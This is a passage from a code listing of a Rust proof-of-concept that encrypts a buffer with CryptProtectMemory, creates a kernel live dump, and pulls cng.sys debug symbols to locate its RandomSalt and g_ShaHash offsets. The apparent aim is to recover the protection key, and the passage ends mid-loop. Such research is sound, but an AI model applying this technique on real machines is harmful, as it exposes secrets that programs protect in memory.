()
| 28 | } |
| 29 | |
| 30 | fn main() { |
| 31 | let plaintext_data_original = [0u8; 0x20]; |
| 32 | println!("Original data : {:X?}", plaintext_data_original); |
| 33 | let mut plaintext_data = plaintext_data_original.clone(); |
| 34 | |
| 35 | unsafe { |
| 36 | CryptProtectMemory( |
| 37 | plaintext_data.as_mut_ptr() as *mut c_void, |
| 38 | plaintext_data.len() as u32, |
| 39 | CRYPTPROTECTMEMORY_SAME_PROCESS, |
| 40 | ) |
| 41 | .expect("Failed :(") |
| 42 | }; |
| 43 | |
| 44 | println!("Encrypted: {:X?}", plaintext_data); |
| 45 | |
| 46 | create_dump_file(r"C:\Windows\Temp\livedump.DMP".to_string()) |
| 47 | .expect("[-] Failed creating livedump."); |
| 48 | |
| 49 | let dump_file = File::open(r"C:\Windows\Temp\livedump.DMP") |
| 50 | .expect("[-] Failed opening livedump."); |
| 51 | |
| 52 | let dump_parser = |
| 53 | KernelDumpParser::with_reader(dump_file).expect("[-] Failed parsing livedump."); |
| 54 | |
| 55 | let active_process_head = dump_parser.headers().ps_active_process_head; |
| 56 | |
| 57 | println!("[+] Found PsActiveProcessListHead: {active_process_head:#X}"); |
| 58 | |
| 59 | let cng_data = |
| 60 | fs::read(r"C:\Windows\System32\drivers\cng.sys").expect("[-] Failed reading cng.sys"); |
| 61 | |
| 62 | let cng_object = PeObject::parse(&cng_data).expect("[-] Failed parsing cng.sys"); |
| 63 | let pdb_id = cng_object.debug_id().to_string().replace("-", ""); |
| 64 | let pdb_url = format!("https://msdl.microsoft.com/download/symbols/cng.pdb/{pdb_id}/cng.pdb"); |
| 65 | println!("[+] Downloading cng.sys PDB from {:?}", pdb_url); |
| 66 | |
| 67 | let cng_pdb_data = reqwest::blocking::get(pdb_url) |
| 68 | .unwrap() |
| 69 | .bytes() |
| 70 | .unwrap() |
| 71 | .to_vec(); |
| 72 | |
| 73 | let mut pdb_parser = |
| 74 | pdb::pdb::PDB::open(Cursor::new(cng_pdb_data)).expect("[-] Failed parsing PDB data."); |
| 75 | |
| 76 | let mut random_salt_offset = 0; |
| 77 | let mut g_sha_hash_offset = 0; |
| 78 | let address_map = pdb_parser |
| 79 | .address_map() |
| 80 | .expect("[-] Failed building address map"); |
| 81 | |
| 82 | let symbol_table = pdb_parser |
| 83 | .global_symbols() |
| 84 | .expect("[-] Failed parsing PDB."); |
| 85 | let mut symbols = symbol_table.iter(); |
| 86 | while let Some(sym) = symbols.next().unwrap() { |
| 87 | match sym.parse() { |
nothing calls this directly
no test coverage detected